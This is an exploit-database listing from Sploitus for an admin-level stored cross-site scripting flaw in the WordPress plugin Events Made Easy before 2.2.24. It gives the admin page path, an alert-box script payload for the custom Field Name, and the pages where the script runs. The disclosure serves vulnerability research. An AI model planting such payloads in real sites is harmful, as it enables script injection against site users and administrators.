Sploitus

Exploit for Events Made Easy < 2.2.24 - Admin+ Stored Cross-Site Scripting

wpexploit Β· 2021-10-04

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:A1FE0783-7A88-4D75-967F-CEF970B73752
Add/Edit a Custom Field (/wp-admin/admin.php?page=eme-formfields) and put the following payload in the Field Name: a<script>alert(/XSS/)</script>

The XSS will be triggered when accessing some pages like Custom Field, Pending Bookings, Approved Bookings